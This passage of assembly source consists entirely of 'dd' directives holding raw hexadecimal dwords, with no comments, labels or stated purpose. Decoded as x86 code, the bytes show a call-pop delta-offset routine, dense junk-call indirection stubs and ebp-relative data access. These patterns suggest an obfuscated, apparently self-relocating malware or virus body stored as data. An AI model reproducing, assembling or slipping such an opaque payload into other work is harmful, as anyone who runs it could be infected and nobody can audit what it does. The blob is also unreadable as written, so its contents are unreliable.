		dd 1C0424h, 55450000h, 0F3FAF3C3h, 2F574C66h, 7DBF0DA1h
		dd 0B2047C3h, 0C2850FDBh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0CF44C351h
		dd 20A1BD8Bh, 0BD830607h, 60AE851h, 52840F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E919C355h, 7Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0A2C35646h,	69946C69h, 0FA747FEh
		dd 683h, 0E98D8900h, 8B060726h,	5185C7FBh, 1060AE8h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0E919C353h, 0Ah, 7542B4EBh, 4BBB9759h, 13E9C2F0h
		dd 89000000h, 714A9B5h,	5185C706h, 60AE8h, 66000000h, 9D8DFE8Bh
		dd 607141Dh, 81F98B66h,	0FFFEFF23h, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0F8087BB5h
		dd 0A1D575Ah, 0B523C379h, 6071ED9h, 8BDB8C66h, 72CD9B5h
		dd 4C3F606h, 7A840Fh, 8E80000h,	2F000000h, 0D5B88AADh
		dd 0FEB0D9Ch, 38Ah, 0F38B6600h,	5195FF5Fh, 6A060713h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 9A5FC357h, 904BB3DCh, 2A016BBFh, 0BF665002h,	6A909A1Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0FD38C357h, 2A7DC86Ch, 0AE98Dh, 16930000h
		dd 7983EFC3h, 0E042A12Ah, 3F0E9h, 0FE8B6600h, 0D0BE00B0h
		dd 0E673A4EBh, 5870F70h, 0BE000000h, 2B9F2D00h,	6A71E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 3C782CC3h, 0C35B62Bh, 0F3D16A5h, 8B66D8B6h, 6BAF2h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 195B80C3h, 2889B52Bh, 85310607h, 60732B1h
		dd 81D68150h, 5F577E00h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 1488DEC3h, 0A8C78166h
		dd 4E8C121h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	71C35747h, 9A84C5C6h, 1188453h,	0C1B58B62h, 66060708h
		dd 0D82BE2F7h, 0CF9BD89h, 50930607h, 11E952h, 529D0000h
		dd 0BAD1411Eh, 0C62632A1h, 0AB1533FCh, 0FA791DFh, 62BF6631h
		dd 50585A20h, 14E9h, 0B6954D00h, 0E2EF9CEFh, 58A74630h
		dd 5ACE4165h, 7207624Dh, 6A9323h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 816670C3h, 0FFD3CDDEh
		dd 72C15B5h, 0F7B70F06h, 16B595FFh, 85890607h, 60700A9h
		dd 15300B0h, 70A41BDh, 8E85E06h, 0C6000000h, 0EA153067h
		dd 5FDC521Bh, 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 395576C3h, 0DD8B7E23h, 0E9F7B70Fh
		dd 9, 0C09C3287h, 0A35F4BB8h, 5071E4BAh, 0B35BD8Bh, 3C5F0607h
		dd 46830F61h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 308C355h, 0B27DA0B3h
		dd 0D8B60FD8h, 6BAh, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0F9856C68h, 68C71B45h
		dd 0C781666Bh, 0C38B6224h, 199B58Bh, 0E8C10607h, 0B5895604h
		dd 6071561h, 0E2F7665Eh, 0D82B5E57h, 21BDBD2Bh,	6A580607h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 80F6C355h, 0C58D8ABh, 0D82B3E7Eh,	1A7880Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0AE1A96C3h, 2811611h, 95891F99h, 607065Dh
		dd 7B9F9h, 85010000h, 6070DFDh,	2900C183h, 705958Dh, 0FD93B06h
		dd 16086h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1404h, 0C3504000h, 0EDBD336Dh, 66060716h, 6AD98Ch, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 1414D3C3h, 8B23C6A7h, 4C1F6F9h, 0D9840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0EBE760C3h, 0BE9h, 23096600h, 0F34B2C8Eh, 0DEC54061h
		dd 135195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 44C8DC3h, 0C29FB551h, 0EE9734Ch
		dd 39000000h, 2F0BCF0Fh, 19834F15h, 4CB2490Ch, 6A5BC3h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 2BAF1BC3h, 3DFE8BC3h, 834h, 41860Fh,	6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 13E8B1C3h, 0C0000000h, 0B5ED281Ah, 5B676743h, 8EAA7786h
		dd 0B1EFC155h, 5FFC80EBh, 3CE9h, 8F0F00h, 8B000000h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 6E92619h, 0FB000000h, 0B21CE53Ah, 99B58B81h,	8B060712h
		dd 71545BDh, 8BC38B06h,	5AEF81D8h, 0C7191BEBh, 712AD85h
		dd 0E15F506h, 50006A54h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 765D9082h, 897EB1B8h, 7280585h, 60C08B06h
		dd 329D8D01h, 14E90607h, 87000000h, 0D9A354C7h,	0D857EFB7h
		dd 0FD047864h, 5F634140h, 61A6044Bh, 2C15BD81h,	7D00607h
		dd 850F0000h, 34h, 21CDB523h, 85FF0607h, 6072C15h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FDC35242h, 6850Fh
		dd 0B58B0000h, 6073271h, 2C15B5FFh, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 8ECFCCC3h
		dd 0AFE2BC20h, 0BFCACB3h, 72AB9B5h, 0B595FF06h,	0F9060716h
		dd 896090FCh, 71AE1B5h,	8BF98B06h, 71369B5h, 0F98B6106h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D7C35545h
		dd 38B0F3Ah, 66000000h,	0B50BF88Bh, 60728DDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 27C35040h, 0C249FC84h
		dd 52F8D0C6h, 0F9BD332Bh, 0E9060731h, 10h, 0E6F12939h
		dd 0DB1458D0h, 6CF4E4E2h, 0E0B90171h, 42A3CABEh, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 66C8A546h, 0F08D781h, 34EF8156h, 5E148CC0h, 0B027BE66h
		dd 0CE9h, 0C32F6900h, 0E5973316h, 26786617h, 57006AECh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0A9F6FE36h, 8C30DDBEh, 6DBD8B4Ch, 60060715h,	2E10BF66h
		dd 0FC38B66h, 6A61C2B7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 32A5C350h, 8970C662h, 71D91BDh, 0F7D1E906h
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8B4641C3h, 95BD8BC1h, 0EB06071Ah,	4, 819D8900h
		dd 6A060704h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0A202C351h, 0A9F9D11Eh, 85858DC2h
		dd 6A060707h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0CC63C350h, 800F50CCh,	15h, 10E9h
		dd 9BA93000h, 0C3DF4D59h, 195B8046h, 4621E8B4h,	240489C6h
		dd 6AFE8Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ah,	40C35747h, 0CF647D8Ah, 0BE66B596h, 0B5096C69h
		dd 60713A1h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0E9C147C3h, 6FEE8166h, 91BD8997h
		dd 8D06070Eh, 0AF4DD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0FB6C76A9h, 81662C17h
		dd 833D27CFh, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0B91087C3h, 27DB58Bh, 0BF900607h
		dd 75438C74h, 0F88B6650h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0D521495Dh
		dd 0D88ACDDBh, 13A19D89h, 6A0607h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 47C35343h, 24867633h, 1493A346h
		dd 2D58589h, 6A0607h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 1Dh, 9EC35141h, 440664EEh,	17DA98Ah, 5B58B0Dh
		dd 66060720h, 0FF0396BEh, 704C195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 82EED422h
		dd 0EB187EDEh, 9D8D6939h, 60AA64Fh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 41C35343h, 0C78166D6h, 0D3FFDC0Fh
		dd 21CD8D89h, 85FF0607h, 60732F1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 8AC35646h, 0A7CC8CBCh, 0E88C488Eh
		dd 14h,	1D756E6Fh, 27742650h, 80FCED39h, 9C38CD71h, 1BBE1AC6h
		dd 39BD8B5Fh, 0E9060731h, 729h,	0E8h, 0ED815D00h, 60AF4E7h
		dd 8C18BF66h, 2C15BD81h, 7D00607h, 860F0000h, 105h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C2C35646h, 0F2BF0FA8h
		dd 1B799D8Bh, 890F0607h, 0
		dd 100E381h, 0BF50000h,	9D850FDBh, 66000000h, 8D89F88Bh
		dd 6073085h, 0F28BBD83h, 0F00060Ah, 3384h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 7B2A9B04h, 0E9FA71B7h, 76h, 2CD9B52Bh, 8D890607h, 6071FB1h
		dd 0F28B85C7h, 1060Ah, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0BF47BFC3h, 0A5C0C14h
		dd 39E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 9D299586h, 60702D1h, 0F28B85C7h
		dd 60Ah, 95310000h, 60731A9h, 72DBD2Bh,	9D8D0607h, 6071B79h
		dd 1A1BD03h, 23810607h,	0FFFFFEFFh, 0AAB01ABFh,	0DB8C6621h
		dd 2E9BD8Bh, 0B50B0607h, 6070E31h, 0F04C3F6h, 8284h, 0A1BD0300h
		dd 31060732h, 730D595h,	5195FF06h, 6A060713h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 8D70C352h, 0D089628h, 0E92AF7FFh, 5,	2F517E49h, 51BD8BFBh
		dd 50060700h, 0FE8h, 85708600h,	926F8325h, 889B722Fh, 4C6DE0ABh
		dd 2404895Eh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	21C35242h, 21B52973h, 0E9060720h, 376h,	21859501h
		dd 0B00607h, 0DE9h, 97E25400h, 4921751Ah, 0C47AB3FDh, 70E60D38h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0DFC35242h
		dd 4EFC1321h, 0E4BC59B8h, 6880F71h, 81000000h, 242D21C6h
		dd 0D8B60F6Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	99C35747h, 690D7A12h, 657289E5h, 699D8913h, 5706070Bh
		dd 21E9BD8Bh, 0BA5E0607h, 6, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0E6C35545h,	0C566DA58h, 0A99D8964h
		dd 6606072Ah, 8B9001BEh, 0F4BF66C3h, 4E8C1A2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 33C35646h, 0FBBF0F30h
		dd 33E2F766h, 70E05B5h,	6AD82B06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C860C356h
		dd 8A2A2811h, 0B58B26DFh, 6072545h, 156DBD23h, 93FC0607h
		dd 5E8h, 6DECDE00h, 505F77A0h, 6A93FE8Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0C56DC357h
		dd 0D4F6B339h, 36B4CF52h, 0E098589h, 0B5FF0607h, 6072C15h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EAC35545h
		dd 9D1CDE30h, 0AD89D02h, 16B595FFh, 9D890607h, 6072C19h
		dd 0B0F9B70Fh, 6670E600h, 0BAECD781h, 3CF571E4h, 0D7830F61h
		dd 8B000001h, 71AD5BDh,	0D8B60F06h, 0E3D68166h,	6BA87h
		dd 0F08B0000h, 6AC38Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0E8C1A8C3h, 0F88B6604h, 6AE2F766h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 70DBC351h, 0B796580h, 72FCDBDh, 0E9D82B06h
		dd 0Eh,	0F4352E37h, 944E60DFh, 1D7F0A73h, 0AE93762h, 6F000000h
		dd 8E32D924h, 0A217C12Dh, 6A58A1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 5F32FC3h, 2C61A7D5h
		dd 0FE864h, 14160000h, 0F632D109h, 15769015h, 0D5FE8710h
		dd 7D850902h, 5E060732h, 880FD82Bh, 10Ah, 26758529h, 7B90607h
		dd 50000000h, 2A99BD8Bh, 0FC5F0607h, 8900C183h,	727159Dh
		dd 0FD93B06h, 0E586h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 87BEEE18h, 1E5F50CCh
		dd 0F6D98C66h, 840F04C1h, 98h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0E0C35545h,	8A098FECh, 9C3717FCh
		dd 2669BD8Bh, 95FF0607h, 6071351h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 62C35747h, 0E2DD4D17h, 6CF3E886h
		dd 1BD0B66h, 5B060722h,	12E9h, 0E58E7A00h, 2399BE28h, 737B769Eh
		dd 0C7BFC543h, 2BA46EDCh, 618D89C3h, 3D060730h,	834h, 12860Fh
		dd 0E9FC0000h, 2Ah, 6820Fh, 0DF810000h,	0EFBD969h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0C38BABC3h, 85C7D88Bh, 607141Dh, 7E761F7Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EEC35646h, 0BDA29BFCh
		dd 0CE8h, 0AD22A800h, 0CE30A9Fh, 0FFA3929Bh, 0FB8B668Dh
		dd 8BC08B5Fh, 70351BDh,	0F88B6606h, 2C15BD81h, 7D00607h
		dd 850F0000h, 2Ah, 0DF0EBE66h, 2C1585FFh, 6A0607h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F0145C3h, 0B5FFFABFh, 6072C15h, 8B82BE66h, 16B595FFh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 298B49C3h, 7095185h, 6A9006h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 60ECC9C3h
		dd 0D3EA35BEh, 13E977h,	1F740000h, 14236FBAh, 607F6E4h
		dd 0DA4A5C35h, 0DA178970h, 8A0F613Bh, 0Ch, 7895D781h, 0BD332DD8h
		dd 607124Dh, 1D958509h,	0CE80607h, 0F4000000h, 0C87F4F41h
		dd 59DD9A16h, 5E5E332Fh, 1561BD89h, 31510607h, 731858Dh
		dd 6A5F06h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 66AA38C3h, 0CE8EDF81h, 76782CBFh,	0BF0F5650h
		dd 0DF8166F7h, 315E9D53h, 708559Dh, 0DD858906h,	0F5060713h
		dd 2BF78B66h, 716ADBDh,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0EAB36D11h, 2332CC29h
		dd 66F9C4A9h, 89D7ECBEh, 72C0D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E9D5D4FFh
		dd 0FFFFF8FCh, 0DE8h, 4349AF00h, 7BF963DBh, 9598FBCh, 0CE81346Ch
		dd 562FCD99h, 311D8D29h, 235F0607h, 70D31BDh, 6AC18B06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 251FC352h, 7AFB655h, 4EBh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 958935C3h, 6070229h,	0BCC68166h, 19B58BFEh, 2306070Dh
		dd 706C1BDh, 85858D06h,	6A060707h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0AB9CC353h
		dd 0AE92D64h, 0B3000000h, 603A8CE2h, 71ACFBD3h,	52509041h
		dd 12E860h, 0CCC30000h,	0F7ACA12Ch, 288310D1h, 8B917B3Ch
		dd 1FBFCD4Eh, 310F615Ah, 585AF88Bh, 90FA8B50h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0C587BDC3h, 272BDBCBh, 10E9h, 7A932900h, 7D0B75A4h
		dd 670699BBh, 0A26EEF0h, 0B1BD8954h, 6A060712h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0FD9D8908h, 8D06070Dh, 0AFEBE85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 29B589FAh, 8B060700h, 70B0DBDh, 5C08306h, 9E9h, 0C4E6800h
		dd 99F4FF14h, 0BE9056C9h, 57650081h, 49B9BF50h,	6A90595Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 6684C352h, 0B647C781h, 6AF0BF0Fh,	8E800h
		dd 11390000h, 47D1648Fh, 0F602B40h, 8Fh, 11E800h, 1360000h
		dd 0D05A5310h, 256574ACh, 5175CA23h, 5BBAC554h,	6A5F61h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CBC35545h
		dd 0C195FFA3h, 6A060704h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 3F65C352h, 49A6F1E9h
		dd 0F3F41C4h, 185h, 0B589F500h,	6072E25h, 0A64F9D8Dh, 6A060Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 7D2B59C3h, 0FFCACD9Bh, 10E9EAh, 0AEE80000h, 0FE4EAAB7h
		dd 0F2A002DEh, 89A344E5h, 0D3FF5A90h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0EBC35545h,	0A9E7FE09h, 12E83A90h
		dd 0F1000000h, 0FA428362h, 74E3328Ch, 2C42B542h, 0A8F3E4BFh
		dd 8AC7811Eh, 5F3670C4h, 0DE9h,	0E99B1900h, 0B10CE1A5h
		dd 0BF03B48Ah, 85FF4B35h, 60732F1h, 1A65BD33h, 0BD890607h
		dd 6073211h, 834E9h, 0E800h, 815D0000h,	0AFEC8EDh, 1BD8906h
		dd 8106072Ch, 72C15BDh,	7D006h,	0CC860F00h, 8B000000h
		dd 72E3D9Dh, 0BD8B5306h, 6072CE1h, 0E3815Eh, 2B000001h
		dd 71709BDh, 0FDB0B06h,	6385h, 0C8C0F00h, 0F000000h, 68Ah
		dd 25958900h, 8306070Bh, 0AFC30BDh, 840F0006h, 27h, 4EE9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 8D9D898Eh, 0C7060731h, 0AFC3085h, 106h
		dd 79850100h, 0E9060725h, 17h, 0ADE242BFh, 0F8B70F79h
		dd 0FC3085C7h, 60Ah, 81660000h,	8DA73CC6h, 72E3D9Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 49ED74B4h, 68C0Fh, 0B58B0000h, 60710D1h, 0FEFF2381h
		dd 66F5FFFFh, 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0C3CFB7C3h, 74A1A4F6h, 0F6F15BD8h
		dd 840F04C3h, 58h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0CDC35040h, 5DF18ECEh, 8BE3C0ADh, 73091B5h
		dd 5195FF06h, 8B060713h, 72DDDB5h, 50605006h, 0F585752h
		dd 34B96631h, 66585A4Dh, 8961CF8Bh, 6E92404h, 0EB000000h
		dd 0D357D0h, 0F28B665Fh, 4B0E9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8916A8DBh
		dd 724C58Dh, 0E600B006h, 51006A70h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 37A17998h, 0E443B276h
		dd 51006A71h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0EE663530h, 0EA7DDF81h, 0B58B208Ch, 6070D1Dh
		dd 89D8B60Fh, 70A1D9Dh,	6BA06h,	14E90000h, 0DB000000h
		dd 0AF9BA7CFh, 86F5F6D2h, 3A5480F9h, 42FB1998h,	0BE35D1C2h
		dd 58725D54h, 0E8C1C38Bh, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B58B11CBh
		dd 60725F9h, 6AE2F766h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 662FC357h, 359522C0h
		dd 8B8916A9h, 712B1B5h,	18830F06h, 0E8000000h, 0Ch, 0B5C27EC8h
		dd 285D7AC2h, 6B04006h,	830Fh, 2B5F0000h, 0B5BE66D8h, 1C8950D4h
		dd 0E7816624h, 0B5FF8460h, 6072C15h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0C35141h, 4DA24BBDh, 0B595FF3Ah
		dd 6A060716h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 8DC6C355h, 311E82AEh, 6A00B0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 2F4FF1C3h, 0FCA19CC9h, 8166B574h, 0E60F8DCFh, 56006A70h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0D0BDEFDDh, 54232FC9h, 0CE95Fh, 0CED70000h, 0C9936610h
		dd 99127E98h, 71E42F0Fh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 11C35343h, 13E8h, 5E101600h, 13068DAEh
		dd 0DEFDA25Bh, 0B36335C7h, 0DEF44E80h, 0D1B5895Fh, 3C060721h
		dd 96830F61h, 0E9000002h, 11h, 0DBF903AEh, 35D0B911h, 0A740B06h
		dd 0CE16D42Ah, 0D8B60F61h, 0FE9h, 0C95E4500h, 0ABF4E17Dh
		dd 605F12DCh, 9254BCEh,	6BAh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 4C33850Eh
		dd 6890F72h, 8B000000h,	704D5BDh, 66C38B06h, 0E8C1F78Bh
		dd 6E904h, 83100000h, 917B3C28h, 8830Fh, 8D0F0000h, 2
		dd 0F7665E50h, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0BBCF81FDh, 0BF13A78Eh
		dd 54811EB4h, 0BD01D82Bh, 6071CE9h, 0FD82B58h, 1DC88h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 57EC1351h, 3BDB58Bh, 895E0607h, 72B8995h
		dd 7B906h, 92BE0000h, 8372986Bh, 6A00C1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0DD810BC3h
		dd 81E51ECEh, 836C1ACFh, 0FD93B0Dh, 17486h, 0C6816600h
		dd 8C66246Ah, 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 44198B5Ah, 0E0A52E67h, 0D001BEA7h
		dd 0C1F64DD5h, 18840F04h, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 8940C356h
		dd 830FC847h, 0
		dd 135195FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 152A55C3h, 0A370D4DCh, 5BF71B15h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9AC35141h
		dd 598D6C0h, 2B8B706Ch,	50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 85BD23D4h, 81060732h
		dd 0F4CAF1F6h, 8343D75h, 860F0000h, 6Fh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 21C35141h, 660983BFh
		dd 10E90Ah, 95AB0000h, 90BFB804h, 268951F0h, 0D515FD23h
		dd 56E93377h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0A2E0C356h,	59BD8984h
		dd 60060721h, 28A0Fh, 0E28A0000h, 201DB58Bh, 8B610607h
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 8B66F9F4h, 8BC38BFEh, 7985C7D8h,	0FF06071Bh
		dd 8B17A189h, 72C31BDh,	6AC08B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 885BC352h
		dd 70C889EBh, 830F35F7h, 6, 26C6D781h, 0BD890E25h, 60732B1h
		dd 2C15BD81h, 7D00607h,	850F0000h, 48h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 21C35141h, 95B5894Dh
		dd 0FF06071Dh, 72C1585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 20953F81h, 2C15B5FFh
		dd 8B660607h, 0B595FFF0h, 6A060716h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 1D7DC357h
		dd 0BE90F0E8h, 60543835h, 85DB58Bh, 0B58B0607h,	60721C1h
		dd 0FABF0F56h, 51006A5Eh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0CEC8C7BBh, 8D29B0E3h
		dd 6072E19h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	7EC35646h, 0EBE97E6h, 5DD68F33h, 0BE9h,	4B31CE00h
		dd 36C38FC6h, 5B468CEEh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 4AC35343h, 1CBD03D2h,	6A562Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8166FEC3h, 6642FECEh, 0A92DEF81h, 2791B58Bh,	6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 539518C3h, 211DBD8Bh, 0DE80607h, 0DF000000h,	79A00FC4h
		dd 0F618C359h, 9B07B1D3h, 5FFBBF0Fh, 670DBF66h,	0BE66FC60h
		dd 8B661679h, 0BF6661D7h, 0F2E9D872h, 6AFFFFF7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C532C350h, 89708D48h, 70C3585h, 6AC18B06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 2DDFC352h, 1659B509h, 0E8530607h, 5,	0A08A25F2h, 75B5036Ah
		dd 5E060721h, 4EB5Fh, 3000000h,	72125B5h, 759D2906h, 8D060726h
